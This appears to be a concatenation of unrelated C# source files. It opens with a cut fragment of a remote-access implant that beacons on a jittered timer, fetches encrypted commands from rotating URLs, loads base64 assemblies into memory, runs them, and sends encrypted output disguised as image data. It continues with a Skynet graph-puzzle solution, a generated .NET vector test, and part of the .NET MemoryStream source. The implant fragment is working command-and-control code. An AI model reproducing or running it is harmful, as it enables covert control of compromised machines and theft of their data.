var splitargs = c.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries);
int i = 0;
string sOut = "";
string sMethod = "", sta = "", qNme = "", name = "";
foreach (var a in splitargs)
{
if (i == 1)
qNme = a;
if (i == 2)
name = a;
if (c.ToLower().StartsWith("run-exe")) {
if (i > 2)
sta = sta + " " + a;
} else {
if (i == 3)
sMethod = a;
else if (i > 3)
sta = sta + " " + a;
}
i++;
}
string[] l = CLArgs(sta);
var asArgs = l.Skip(1).ToArray();
foreach (var Ass in AppDomain.CurrentDomain.GetAssemblies())
{
if (Ass.FullName.ToString().ToLower().StartsWith(name.ToLower()))
{
var lTyp = LoadS(qNme + ", " + Ass.FullName);
try
{
if (c.ToLower().StartsWith("run-exe")) {
object output = lTyp.Assembly.EntryPoint.Invoke(null, new object[] { asArgs });
if(output != null){
sOut = output.ToString();
}
}
else if(c.ToLower().StartsWith("run-dll"))
{
try
{
object output = lTyp.Assembly.GetType(qNme).InvokeMember(sMethod, BindingFlags.Public | BindingFlags.InvokeMethod | BindingFlags.Static, null, null, asArgs);
if(output != null){
sOut = output.ToString();
}
}
catch
{
object output = lTyp.Assembly.GetType(qNme).InvokeMember(sMethod, BindingFlags.Public | BindingFlags.InvokeMethod | BindingFlags.Static, null, null, null);
if(output != null){
sOut = output.ToString();
}
}
}
else {
sOut = "[-] Error running assembly, unrecognised command: " + c;
}
}
catch(NullReferenceException) {}
catch(Exception e)
{
sOut = "[-] Error running assembly: " + e.Message;
sOut += e.StackTrace;
}
break;
}
}
return sOut;
}
static int Parse_Beacon_Time(string time, string unit)
{
int beacontime = Int32.Parse(time);
switch (unit)
{
case "h":
beacontime *= 3600;
break;
case "m":
beacontime *= 60;
break;
}
return beacontime;
}
internal static class UrlGen
{
static List<String> _stringnewURLS = new List<String>();
static String _randomURI;
static String _baseUrl;
static Random _rnd = new Random();
static Regex _re = new Regex("(?<=\")[^\"]*(?=\")|[^\" ]+", RegexOptions.Compiled);
internal static void Init(string stringURLS, String RandomURI, String baseUrl)
{
_stringnewURLS = _re.Matches(stringURLS.Replace(",", "").Replace(" ", "")).Cast<Match>().Select(m => m.Value).Where(m => !string.IsNullOrEmpty(m)).ToList();
_randomURI = RandomURI;
_baseUrl = baseUrl;
}
internal static String GenerateUrl()
{
string URL = _stringnewURLS[_rnd.Next(_stringnewURLS.Count)];
if (Program.rotate != null)
{
Random random = new Random();
int pos = random.Next(0, Program.rotate.Length);
_baseUrl = rotate[pos].Replace("\"", String.Empty).Trim();
Program.dfarray = Program.dfhead;
Program.dfs = pos;
}
return String.Format("{0}/{1}{2}/?{3}", _baseUrl, URL, Guid.NewGuid(), _randomURI);
}
}
internal static class ImgGen
{
static Random _rnd = new Random();
static Regex _re = new Regex("(?<=\")[^\"]*(?=\")|[^\" ]+", RegexOptions.Compiled);
static List<String> _newImgs = new List<String>();
internal static void Init(String stringIMGS)
{
var stringnewIMGS = _re.Matches(stringIMGS.Replace(",", "")).Cast<Match>().Select(m => m.Value);
stringnewIMGS = stringnewIMGS.Where(m => !string.IsNullOrEmpty(m));
_newImgs = stringnewIMGS.ToList();
}
static string RandomString(int length)
{
const string chars = "...................@..........................Tyscf";
return new string(Enumerable.Repeat(chars, length).Select(s => s[_rnd.Next(s.Length)]).ToArray());
}
internal static byte[] GetImgData(byte[] cmdoutput)
{
Int32 maxByteslen = 1500, maxDatalen = cmdoutput.Length + maxByteslen;
var randimg = _newImgs[(new Random()).Next(0, _newImgs.Count)];
var imgBytes = System.Convert.FromBase64String(randimg);
var BytePadding = System.Text.Encoding.UTF8.GetBytes((RandomString(maxByteslen - imgBytes.Length)));
var ImageBytesFull = new byte[maxDatalen];
System.Array.Copy(imgBytes, 0, ImageBytesFull, 0, imgBytes.Length);
System.Array.Copy(BytePadding, 0, ImageBytesFull, imgBytes.Length, BytePadding.Length);
System.Array.Copy(cmdoutput, 0, ImageBytesFull, imgBytes.Length + BytePadding.Length, cmdoutput.Length);
return ImageBytesFull;
}
}
public static void Exec(string cmd, string taskId, string key = null, byte[] encByte = null) {
if (string.IsNullOrEmpty(key))
{
key = pKey;
}
var eTaskId = Encryption(key, taskId);
var dcoutput = "";
if (encByte != null)
dcoutput = Encryption(key, null, true, encByte);
else
dcoutput = Encryption(key, cmd, true);
var doutputBytes = System.Convert.FromBase64String(dcoutput);
var dsendBytes = ImgGen.GetImgData(doutputBytes);
var attempts = 0;
while (attempts < 5) {
attempts += 1;
try
{
GetWebRequest(eTaskId).UploadData(UrlGen.GenerateUrl(), dsendBytes);
attempts = 5;
} catch {}
}
}
static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS, string Jitter)
{
UrlGen.Init(stringURLS, RandomURI, baseURL);
ImgGen.Init(stringIMGS);
pKey = Key;
int beacontime = 5;
var ibcnRgx = new Regex(@"(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.Compiled | RegexOptions.IgnoreCase);
var imch = ibcnRgx.Match(Sleep);
if (imch.Success)
{
beacontime = Parse_Beacon_Time(imch.Groups["t"].Value, imch.Groups["u"].Value);
}
var strOutput = new StringWriter();
Console.SetOut(strOutput);
var exitvt = new ManualResetEvent(false);
var output = new StringBuilder();
double dJitter = 0;
if(!Double.TryParse(Jitter, NumberStyles.Any, CultureInfo.InvariantCulture, out dJitter))
{
dJitter = 0.2;
}
while (!exitvt.WaitOne((int)(new Random().Next((int)(beacontime * 1000 * (1F - dJitter)), (int)(beacontime * 1000 * (1F + dJitter))))))
{
if (DateTime.ParseExact(KillDate, "yyyy-MM-dd", CultureInfo.InvariantCulture) < DateTime.Now)
{
Run = false;
exitvt.Set();
continue;
}
output.Length = 0;
try
{
String x = "", cmd = null;
try
{
cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl());
x = Decryption(Key, cmd).Replace("\0", string.Empty);
}
catch
{
continue;
}
if (x.ToLower().StartsWith("multicmd"))
{
var splitcmd = x.Replace("multicmd", "");
var split = splitcmd.Split(new string[] { "!d-3dion@LD!-d" }, StringSplitOptions.RemoveEmptyEntries);
foreach (string c in split)
{
Program.taskId = c.Substring(0, 5);
cmd = c.Substring(5, c.Length - 5);
if (cmd.ToLower().StartsWith("exit"))
{
Run = false;
exitvt.Set();
break;
}
else if (cmd.ToLower().StartsWith("loadmodule"))
{
var module = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
var assembly = System.Reflection.Assembly.Load(System.Convert.FromBase64String(module));
Exec(output.ToString(), taskId, Key);
}
else if (cmd.ToLower().StartsWith("run-dll-background") || cmd.ToLower().StartsWith("run-exe-background"))
{
Thread t = new Thread(() => rAsm(cmd));
Exec("[+] Running background task", taskId, Key);
t.Start();
}
else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe"))
{
output.AppendLine(rAsm(cmd));
}
else if (cmd.ToLower().StartsWith("beacon"))
{
var bcnRgx = new Regex(@"(?<=(beacon)\s{1,})(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.Compiled | RegexOptions.IgnoreCase);
var mch = bcnRgx.Match(c);
if (mch.Success)
{
beacontime = Parse_Beacon_Time(mch.Groups["t"].Value, mch.Groups["u"].Value);
}
else
{
output.AppendLine(String.Format(@"[X] Invalid time ""{0}""", c));
}
Exec("Beacon set", taskId, Key);
}
else
{
var sHot = rAsm($"run-exe Core.Program Core {cmd}");
}
output.AppendLine(strOutput.ToString());
var sb = strOutput.GetStringBuilder();
sb.Remove(0, sb.Length);
if (output.Length > 2)
Exec(output.ToString(), taskId, Key);
output.Length = 0;
}
}
}
catch (NullReferenceException e) {}
catch (WebException e) {}
catch (Exception e)
{
Exec(String.Format("Error: {0} {1}", output.ToString(), e), "Error", Key);
}
finally
{
output.AppendLine(strOutput.ToString());
var sc = strOutput.GetStringBuilder();
sc.Remove(0, sc.Length);
if (output.Length > 2)
Exec(output.ToString(), "99999", Key);
output.Length = 0;
}
}
}
}
| |
using System;
using System.Linq;
using System.Collections.Generic;
using System.Collections.ObjectModel;
class Player
{
#region Private Methods
/// <summary>
/// Reads inputs.
/// </summary>
/// <param name="nodesCount">Total amount of nodes in the skynet.</param>
/// <param name="links">Links between nodes.</param>
/// <param name="exits">Exit gateways.</param>
static void ReadInput(out int nodesCount, out List<NodeLink> links, out List<int> exits)
{
links = new List<NodeLink>();
exits = new List<int>();
// read inputs.
string[] inputs;
inputs = Console.ReadLine().Split( ' ' );
nodesCount = int.Parse( inputs[ 0 ] );
var linksCount = int.Parse( inputs[ 1 ] ); // the number of links
var exitsCount = int.Parse( inputs[ 2 ] ); // the number of exit gateways
for ( int i = 0; i < linksCount; i++ ) {
inputs = Console.ReadLine().Split( ' ' );
var node1 = int.Parse( inputs[ 0 ] ); // node1 and node2 defines a link between these nodes
var node2 = int.Parse( inputs[ 1 ] );
links.Add( new NodeLink( node1, node2 ) );
}
for ( int i = 0; i < exitsCount; i++ ) {
var exit = int.Parse( Console.ReadLine() ); // the index of a gateway node
exits.Add( exit );
}
}
#endregion
/// <summary>
/// Program entry point.
/// </summary>
/// <param name="args">Command line arguments.</param>
static void Main(string[] args)
{
// total amount of nodes in the skynet.
int nodesCount;
// links between nodes.
List<NodeLink> links;
// exit gateways.
List<int> exits;
// reads input data.
ReadInput( out nodesCount, out links, out exits );
// create the skynet.
var skynet = new Skynet( nodes: nodesCount, exits: exits );
foreach ( NodeLink link in links )
skynet.AddLink( link );
// infest the skynet with the virus.
var virus = new Virus( skynet );
virus.SevereLink += (sender, e) => {
Console.WriteLine( "{0} {1}", e.Link.NodeA, e.Link.NodeB );
};
// game loop.
while ( true ) {
var agentPosition = int.Parse( Console.ReadLine() ); // The index of the node on which the Skynet agent is positioned this turn
// update agent's position. Because the virus has control over the skynet it
// will track current position of the agent and respond by severing links to
// block agent from reaching an exit gateway.
skynet.SetAgentPosition( agentPosition );
}
}
}
/// <summary>
/// The virus.
/// </summary>
public class Virus
{
#region Local Variables
/// <summary>
/// The skynet that is under control of the virus.
/// </summary>
readonly IControlledSkynet _skynet;
/// <summary>
/// Collection of links that have been severed.
/// </summary>
readonly HashSet<NodeLink> _severedLinks;
#endregion
/// <summary>
/// Indicates that the virus is severing a link.
/// </summary>
public event EventHandler<SevereLinkEventArgs> SevereLink;
/// <summary>
/// Initializes the virus.
/// </summary>
/// <param name="skynet">The skynet to take control over.</param>
public Virus(IControlledSkynet skynet)
{
// take control over the skynet.
_skynet = skynet;
_severedLinks = new HashSet<NodeLink>();
_skynet.NewAgentPosition += ChooseLinkToSevere;
}
/// <summary>
/// Raises the <see cref="SevereLink"/> event.
/// </summary>
/// <param name="e">Event arguments.</param>
protected virtual void OnSevereLink(SevereLinkEventArgs e)
{
_severedLinks.Add( e.Link );
EventHandler<SevereLinkEventArgs> handler = SevereLink;
if ( handler != null ) handler( this, e );
}
#region Private Event Handlers
/// <summary>
/// Chooses a link to severe.
/// </summary>
/// <param name="sender">Skynet.</param>
/// <param name="e">Event arguments.</param>
void ChooseLinkToSevere(object sender, NewAgentPositionEventArgs e)
{
// get all links of exit gateway(s).
SkynetNode[] exits = _skynet.Exits.ToArray();
// search for a link with a node where an agent is placed.
NodeLink? firstPriorityLink = null;
NodeLink? secondPriorityLink = null;
NodeLink curr;
for ( int i = 0; i < exits.Length; i++ ) {
for ( int j = 0; j < exits[ i ].Neighbors.Count; j++ ) {
// check links that lead to nodes close to the exit.
curr = new NodeLink(
nodeA: exits[ i ].Value.ID,
nodeB: exits[ i ].Neighbors[ j ].Value.ID
);
// skip already severed links.
if ( _severedLinks.Contains( curr ) )
continue;
// if the agent is on this neighbor node then this
// links is the first priority.
if ( e.Position == exits[ i ].Neighbors[ j ].Value.ID ) {
firstPriorityLink = curr;
break;
}
// second priority is any link that was not severed yet.
if ( null == secondPriorityLink )
secondPriorityLink = curr;
}
}
// severe the link.
if ( firstPriorityLink.HasValue ) {
OnSevereLink( new SevereLinkEventArgs( firstPriorityLink.Value ) );
} else if ( secondPriorityLink.HasValue ) {
OnSevereLink( new SevereLinkEventArgs( secondPriorityLink.Value ) );
}
}
#endregion
}
/// <summary>
/// A node of the graph that can store some data.
/// </summary>
/// <typeparam name="T">Type of the data the node stores.</typeparam>
public class Node<T>
{
#region Properties
/// <summary>
/// The value stored in the node.
/// </summary>
public T Value
{
get;
set;
}
/// <summary>
/// Neighbors of the node.
/// </summary>
public NodeList<T> Neighbors
{
get;
set;
}
#endregion
#region Constructors
/// <summary>
/// Initializes the node.
/// </summary>
/// <param name="value">The value to store in the node.</param>
public Node(T value)
: this( value, neighbors: new NodeList<T>() )
{
}
/// <summary>
/// Initializes the node.
/// </summary>
/// <param name="value">The value to store in the node.</param>
/// <param name="neighbors">Neighbors of the node.</param>
public Node(T value, NodeList<T> neighbors)
{
this.Value = value;
this.Neighbors = neighbors;
}
#endregion
}
/// <summary>
/// List of nodes.
/// </summary>
/// <typeparam name="T">Type of the data each node in the collection stores.</typeparam>
public class NodeList<T>
: Collection<Node<T>>
{
/// <summary>
/// Finds a node by the condition.
/// </summary>
/// <param name="condition">The condition to check for a value stored inside a node.</param>
/// <returns>Either node which value matches the condition or <b>NULL</b>.</returns>
public Node<T> FindByValue(Func<T, bool> condition)
{
// search the list for the value.
foreach ( Node<T> node in base.Items )
if ( condition( node.Value ) )
return node;
// if we reached here, we didn't find a matching node.
return null;
}
}
/// <summary>
/// A node of a skynet.
/// </summary>
public class SkynetNode
: Node<SkynetNodeData>
{
#region Constructors
/// <summary>
/// Initializes the node.
/// </summary>
/// <param name="value">The value to store in the node.</param>
public SkynetNode(SkynetNodeData value)
: base( value )
{
}
/// <summary>
/// Initializes the node.
/// </summary>
/// <param name="id">ID of the node.</param>
/// <param name="type">Type of the node.</param>
public SkynetNode(int id, SkynetNodeType type)
: base( new SkynetNodeData( id, type ) )
{
}
#endregion
}
/// <summary>
/// Data of a skynet node.
/// </summary>
public class SkynetNodeData
{
/// <summary>
/// ID of the node.
/// </summary>
public int ID
{
get;
private set;
}
/// <summary>
/// Type of the skynet node.
/// </summary>
public SkynetNodeType Type
{
get;
private set;
}
/// <summary>
/// Initializes the data.
/// </summary>
/// <param name="id">ID of the node.</param>
/// <param name="type">Type of the node.</param>
public SkynetNodeData(int id, SkynetNodeType type)
{
this.ID = id;
this.Type = type;
}
}
/// <summary>
/// Type of the skynet node.
/// </summary>
public enum SkynetNodeType
{
/// <summary>
/// The node is a general node.
/// </summary>
General = 0,
/// <summary>
/// The node is an exit node of the skynet.
/// </summary>
ExitGateway,
}
/// <summary>
/// A link between two nodes.
/// </summary>
public struct NodeLink
{
#region Local Variables & Properties
/// <summary>
/// A linked node one.
/// </summary>
readonly int _nodeA;
/// <summary>
/// A linked node two.
/// </summary>
readonly int _nodeB;
/// <summary>
/// A linked node one.
/// </summary>
public int NodeA
{
get { return _nodeA; }
}
/// <summary>
/// A linked node two.
/// </summary>
public int NodeB
{
get { return _nodeB; }
}
#endregion
/// <summary>
/// Initializes the link between nodes.
/// </summary>
/// <param name="nodeA">A linked node one.</param>
/// <param name="nodeB">A linked node two.</param>
public NodeLink(int nodeA, int nodeB)
{
_nodeA = nodeA;
_nodeB = nodeB;
}
#region Equality
/// <summary>
/// Checks if two links are equal.
/// </summary>
/// <param name="obj">Object to compare with.</param>
/// <returns><b>True</b> if they are equal; otherwise, <b>false</b>.</returns>
public override bool Equals(object obj)
{
if ( !(obj is NodeLink) )
return false;
var other = (NodeLink)obj;
return this.NodeA == other.NodeA
&& this.NodeB == other.NodeB;
}
/// <summary>
/// Gets hash code of the link.
/// </summary>
/// <returns>Hash.</returns>
public override int GetHashCode()
{
return this.NodeA.GetHashCode()
^ this.NodeB.GetHashCode();
}
#endregion
}
/// <summary>
/// A skynet.
/// </summary>
public class Skynet
: IControlledSkynet
{
#region Local Variables
/// <summary>
/// Nodes of the skynet.
/// </summary>
readonly Dictionary<int, SkynetNode> _nodes = new Dictionary<int, SkynetNode>();
/// <summary>
/// Cache already linked nodes.
/// </summary>
readonly HashSet<NodeLink> _links = new HashSet<NodeLink>();
/// <summary>
/// ID of the node the agent is positioned at.
/// </summary>
int _agentPosition;
/// <summary>
/// Exit gateways.
/// </summary>
readonly HashSet<SkynetNode> _exits = new HashSet<SkynetNode>();
#endregion
/// <summary>
/// Gets node of the skynet by it's index.
/// </summary>
/// <param name="idx">The index of the skynet.</param>
/// <returns>Node.</returns>
public SkynetNode this[ int idx ]
{
get { return _nodes[ idx ]; }
}
/// <summary>
/// Exit gateways.
/// </summary>
public HashSet<SkynetNode> Exits
{
get { return _exits; }
}
/// <summary>
/// Indicates that the agent's position has changed.
/// </summary>
public event EventHandler<NewAgentPositionEventArgs> NewAgentPosition;
#region Constructors
/// <summary>
/// Initializes the skynet.
/// </summary>
/// <param name="nodes">Amount of nodes. Each node will have it's own identifier that starts with 1.</param>
/// <param name="exits">Identifier of exit gateways available in the skynet.</param>
public Skynet(int nodes, IList<int> exits)
{
var exitIndices = new HashSet<int>( exits );
// create nodes.
for ( int nodeId = 0; nodeId < nodes; nodeId++ ) {
// add node to the net.
SkynetNodeType type = exitIndices.Contains( nodeId )
? SkynetNodeType.ExitGateway
: SkynetNodeType.General;
_nodes.Add(
key: nodeId,
value: new SkynetNode(
id: nodeId,
type: type
)
);
// memo exit gateways.
if ( type == SkynetNodeType.ExitGateway )
this.Exits.Add( _nodes[ nodeId ] );
}
}
#endregion
/// <summary>
/// Raises the <see cref="NewAgentPosition"/> event.
/// </summary>
/// <param name="e">Event arguments.</param>
protected virtual void OnNewAgentPosition(NewAgentPositionEventArgs e)
{
EventHandler<NewAgentPositionEventArgs> handler = NewAgentPosition;
if ( handler != null ) handler( this, e );
}
/// <summary>
/// Links two nodes with each other.
/// </summary>
/// <param name="link"></param>
public void AddLink(NodeLink link)
{
if ( _links.Contains( link ) )
// don't add duplicates.
return;
// link two nodes.
SkynetNode nodeA = _nodes[ link.NodeA ];
SkynetNode nodeB = _nodes[ link.NodeB ];
nodeA.Neighbors.Add( nodeB );
nodeB.Neighbors.Add( nodeA );
}
/// <summary>
/// Sets agent's current position.
/// </summary>
/// <param name="agentPosition">ID of the node the agent is positioned at.</param>
public void SetAgentPosition(int agentPosition)
{
_agentPosition = agentPosition;
// raise the event that indicates that agent's position has changed.
OnNewAgentPosition( new NewAgentPositionEventArgs( agentPosition ) );
}
}
/// <summary>
/// Part of a skynet that is controlled by a virus.
/// </summary>
public interface IControlledSkynet
{
/// <summary>
/// Gets node of the skynet by it's index.
/// </summary>
/// <param name="idx">The index of the skynet.</param>
/// <returns>Node.</returns>
SkynetNode this[ int idx ]
{
get;
}
/// <summary>
/// Exit gateways.
/// </summary>
HashSet<SkynetNode> Exits
{
get;
}
/// <summary>
/// Indicates that the agent's position has changed.
/// </summary>
event EventHandler<NewAgentPositionEventArgs> NewAgentPosition;
}
/// <summary>
/// Arguments for an event that indicates that the agent's position has changed.
/// </summary>
public class NewAgentPositionEventArgs
: EventArgs
{
/// <summary>
/// The new position of the agent.
/// </summary>
public int Position
{
get;
private set;
}
/// <summary>
/// Initializes the event arguments.
/// </summary>
/// <param name="position">The new position of the agent.</param>
public NewAgentPositionEventArgs(int position)
{
this.Position = position;
}
}
/// <summary>
/// Arguments for an event that indicates that a link is being severed.
/// </summary>
public class SevereLinkEventArgs
: EventArgs
{
/// <summary>
/// A link that is being seveared.
/// </summary>
public NodeLink Link
{
get;
private set;
}
/// <summary>
/// Initializes the event arguments.
/// </summary>
/// <param name="nodeA">A linked node one.</param>
/// <param name="nodeB">A linked node two.</param>
public SevereLinkEventArgs(int nodeA, int nodeB)
: this( new NodeLink( nodeA, nodeB ) )
{
}
/// <summary>
/// Initializes the event arguments.
/// </summary>
/// <param name="link">A link between two nodes.</param>
public SevereLinkEventArgs(NodeLink link)
{
this.Link = link;
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
/******************************************************************************
* This file is auto-generated from a template file by the GenerateTests.csx *
* script in tests\src\JIT\HardwareIntrinsics\General\Shared. In order to make *
* changes, please update the corresponding template and run according to the *
* directions listed in the file. *
******************************************************************************/
using System;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Intrinsics;
namespace JIT.HardwareIntrinsics.General
{
public static partial class Program
{
private static void GetAndWithElementSByte15()
{
var test = new VectorGetAndWithElement__GetAndWithElementSByte15();
// Validates basic functionality works
test.RunBasicScenario();
// Validates calling via reflection works
test.RunReflectionScenario();
// Validates that invalid indices throws ArgumentOutOfRangeException
test.RunArgumentOutOfRangeScenario();
if (!test.Succeeded)
{
throw new Exception("One or more scenarios did not complete as expected.");
}
}
}
public sealed unsafe class VectorGetAndWithElement__GetAndWithElementSByte15
{
private static readonly int LargestVectorSize = 32;
private static readonly int ElementCount = Unsafe.SizeOf<Vector256<SByte>>() / sizeof(SByte);
public bool Succeeded { get; set; } = true;
public void RunBasicScenario(int imm = 15, bool expectedOutOfRangeException = false)
{
TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario));
SByte[] values = new SByte[ElementCount];
for (int i = 0; i < ElementCount; i++)
{
values[i] = TestLibrary.Generator.GetSByte();
}
Vector256<SByte> value = Vector256.Create(values[0], values[1], values[2], values[3], values[4], values[5], values[6], values[7], values[8], values[9], values[10], values[11], values[12], values[13], values[14], values[15], values[16], values[17], values[18], values[19], values[20], values[21], values[22], values[23], values[24], values[25], values[26], values[27], values[28], values[29], values[30], values[31]);
bool succeeded = !expectedOutOfRangeException;
try
{
SByte result = value.GetElement(imm);
ValidateGetResult(result, values);
}
catch (ArgumentOutOfRangeException)
{
succeeded = expectedOutOfRangeException;
}
if (!succeeded)
{
TestLibrary.TestFramework.LogInformation($"Vector256<SByte.GetElement({imm}): {nameof(RunBasicScenario)} failed to throw ArgumentOutOfRangeException.");
TestLibrary.TestFramework.LogInformation(string.Empty);
Succeeded = false;
}
succeeded = !expectedOutOfRangeException;
SByte insertedValue = TestLibrary.Generator.GetSByte();
try
{
Vector256<SByte> result2 = value.WithElement(imm, insertedValue);
ValidateWithResult(result2, values, insertedValue);
}
catch (ArgumentOutOfRangeException)
{
succeeded = expectedOutOfRangeException;
}
if (!succeeded)
{
TestLibrary.TestFramework.LogInformation($"Vector256<SByte.WithElement({imm}): {nameof(RunBasicScenario)} failed to throw ArgumentOutOfRangeException.");
TestLibrary.TestFramework.LogInformation(string.Empty);
Succeeded = false;
}
}
public void RunReflectionScenario(int imm = 15, bool expectedOutOfRangeException = false)
{
TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario));
SByte[] values = new SByte[ElementCount];
for (int i = 0; i < ElementCount; i++)
{
values[i] = TestLibrary.Generator.GetSByte();
}
Vector256<SByte> value = Vector256.Create(values[0], values[1], values[2], values[3], values[4], values[5], values[6], values[7], values[8], values[9], values[10], values[11], values[12], values[13], values[14], values[15], values[16], values[17], values[18], values[19], values[20], values[21], values[22], values[23], values[24], values[25], values[26], values[27], values[28], values[29], values[30], values[31]);
bool succeeded = !expectedOutOfRangeException;
try
{
object result = typeof(Vector256)
.GetMethod(nameof(Vector256.GetElement))
.MakeGenericMethod(typeof(SByte))
.Invoke(null, new object[] { value, imm });
ValidateGetResult((SByte)(result), values);
}
catch (TargetInvocationException e)
{
succeeded = expectedOutOfRangeException
&& e.InnerException is ArgumentOutOfRangeException;
}
if (!succeeded)
{
TestLibrary.TestFramework.LogInformation($"Vector256<SByte.GetElement({imm}): {nameof(RunReflectionScenario)} failed to throw ArgumentOutOfRangeException.");
TestLibrary.TestFramework.LogInformation(string.Empty);
Succeeded = false;
}
succeeded = !expectedOutOfRangeException;
SByte insertedValue = TestLibrary.Generator.GetSByte();
try
{
object result2 = typeof(Vector256)
.GetMethod(nameof(Vector256.WithElement))
.MakeGenericMethod(typeof(SByte))
.Invoke(null, new object[] { value, imm, insertedValue });
ValidateWithResult((Vector256<SByte>)(result2), values, insertedValue);
}
catch (TargetInvocationException e)
{
succeeded = expectedOutOfRangeException
&& e.InnerException is ArgumentOutOfRangeException;
}
if (!succeeded)
{
TestLibrary.TestFramework.LogInformation($"Vector256<SByte.WithElement({imm}): {nameof(RunReflectionScenario)} failed to throw ArgumentOutOfRangeException.");
TestLibrary.TestFramework.LogInformation(string.Empty);
Succeeded = false;
}
}
public void RunArgumentOutOfRangeScenario()
{
RunBasicScenario(15 - ElementCount, expectedOutOfRangeException: true);
RunBasicScenario(15 + ElementCount, expectedOutOfRangeException: true);
RunReflectionScenario(15 - ElementCount, expectedOutOfRangeException: true);
RunReflectionScenario(15 + ElementCount, expectedOutOfRangeException: true);
}
private void ValidateGetResult(SByte result, SByte[] values, [CallerMemberName] string method = "")
{
if (result != values[15])
{
Succeeded = false;
TestLibrary.TestFramework.LogInformation($"Vector256<SByte.GetElement(15): {method} failed:");
TestLibrary.TestFramework.LogInformation($" value: ({string.Join(", ", values)})");
TestLibrary.TestFramework.LogInformation($" result: ({result})");
TestLibrary.TestFramework.LogInformation(string.Empty);
}
}
private void ValidateWithResult(Vector256<SByte> result, SByte[] values, SByte insertedValue, [CallerMemberName] string method = "")
{
SByte[] resultElements = new SByte[ElementCount];
Unsafe.WriteUnaligned(ref Unsafe.As<SByte, byte>(ref resultElements[0]), result);
ValidateWithResult(resultElements, values, insertedValue, method);
}
private void ValidateWithResult(SByte[] result, SByte[] values, SByte insertedValue, [CallerMemberName] string method = "")
{
bool succeeded = true;
for (int i = 0; i < ElementCount; i++)
{
if ((i != 15) && (result[i] != values[i]))
{
succeeded = false;
break;
}
}
if (result[15] != insertedValue)
{
succeeded = false;
}
if (!succeeded)
{
TestLibrary.TestFramework.LogInformation($"Vector256<SByte.WithElement(15): {method} failed:");
TestLibrary.TestFramework.LogInformation($" value: ({string.Join(", ", values)})");
TestLibrary.TestFramework.LogInformation($" insert: insertedValue");
TestLibrary.TestFramework.LogInformation($" result: ({string.Join(", ", result)})");
TestLibrary.TestFramework.LogInformation(string.Empty);
Succeeded = false;
}
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
/*============================================================
**
**
**
**
**
** Purpose: A Stream whose backing store is memory. Great
** for temporary storage without creating a temp file. Also
** lets users expose a byte[] as a stream.
**
**
===========================================================*/
using System;
using System.Runtime;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Diagnostics.Contracts;
using System.Threading;
using System.Threading.Tasks;
using System.Security.Permissions;
namespace System.IO {
// A MemoryStream represents a Stream in memory (ie, it has no backing store).
// This stream may reduce the need for temporary buffers and files in
// an application.
//
// There are two ways to create a MemoryStream. You can initialize one
// from an unsigned byte array, or you can create an empty one. Empty
// memory streams are resizable, while ones created with a byte array provide
// a stream "view" of the data.
[Serializable]
[ComVisible(true)]
public class MemoryStream : Stream
{
private byte[] _buffer; // Either allocated internally or externally.
private int _origin; // For user-provided arrays, start at this origin
private int _position; // read/write head.
[ContractPublicPropertyName("Length")]
private int _length; // Number of bytes within the memory stream
private int _capacity; // length of usable portion of buffer for stream
// Note that _capacity == _buffer.Length for non-user-provided byte[]'s
private bool _expandable; // User-provided buffers aren't expandable.
private bool _writable; // Can user write to this stream?
private bool _exposable; // Whether the array can be returned to the user.
private bool _isOpen; // Is this stream open or closed?
[NonSerialized]
private Task<int> _lastReadTask; // The last successful task returned from ReadAsync
private const int MemStreamMaxLength = Int32.MaxValue;
public MemoryStream()
: this(0) {
}
public MemoryStream(int capacity) {
if (capacity < 0) {
throw new ArgumentOutOfRangeException(nameof(capacity), Environment.GetResourceString("ArgumentOutOfRange_NegativeCapacity"));
}
Contract.EndContractBlock();
_buffer = capacity != 0 ? new byte[capacity] : EmptyArray<byte>.Value;
_capacity = capacity;
_expandable = true;
_writable = true;
_exposable = true;
_origin = 0; // Must be 0 for byte[]'s created by MemoryStream
_isOpen = true;
}
public MemoryStream(byte[] buffer)
: this(buffer, true) {
}
public MemoryStream(byte[] buffer, bool writable) {
if (buffer == null) throw new ArgumentNullException(nameof(buffer), Environment.GetResourceString("ArgumentNull_Buffer"));
Contract.EndContractBlock();
_buffer = buffer;
_length = _capacity = buffer.Length;
_writable = writable;
_exposable = false;
_origin = 0;
_isOpen = true;
}
public MemoryStream(byte[] buffer, int index, int count)
: this(buffer, index, count, true, false) {
}
public MemoryStream(byte[] buffer, int index, int count, bool writable)
: this(buffer, index, count, writable, false) {
}
public MemoryStream(byte[] buffer, int index, int count, bool writable, bool publiclyVisible) {
if (buffer==null)
throw new ArgumentNullException(nameof(buffer), Environment.GetResourceString("ArgumentNull_Buffer"));
if (index < 0)
throw new ArgumentOutOfRangeException(nameof(index), Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegNum"));
if (count < 0)
throw new ArgumentOutOfRangeException(nameof(count), Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegNum"));
if (buffer.Length - index < count)
throw new ArgumentException(Environment.GetResourceString("Argument_InvalidOffLen"));
Contract.EndContractBlock();
_buffer = buffer;
_origin = _position = index;
_length = _capacity = index + count;
_writable = writable;
_exposable = publiclyVisible; // Can TryGetBuffer/GetBuffer return the array?
_expandable = false;
_isOpen = true;
}
public override bool CanRead {
[Pure]
get { return _isOpen; }
}
public override bool CanSeek {
[Pure]
get { return _isOpen; }
}
public override bool CanWrite {
[Pure]
get { return _writable; }
}
private void EnsureWriteable() {
if (!CanWrite) __Error.WriteNotSupported();
}
protected override void Dispose(bool disposing)
{
try {
if (disposing) {
_isOpen = false;
_writable = false;
_expandable = false;
// Don't set buffer to null - allow TryGetBuffer, GetBuffer & ToArray to work.
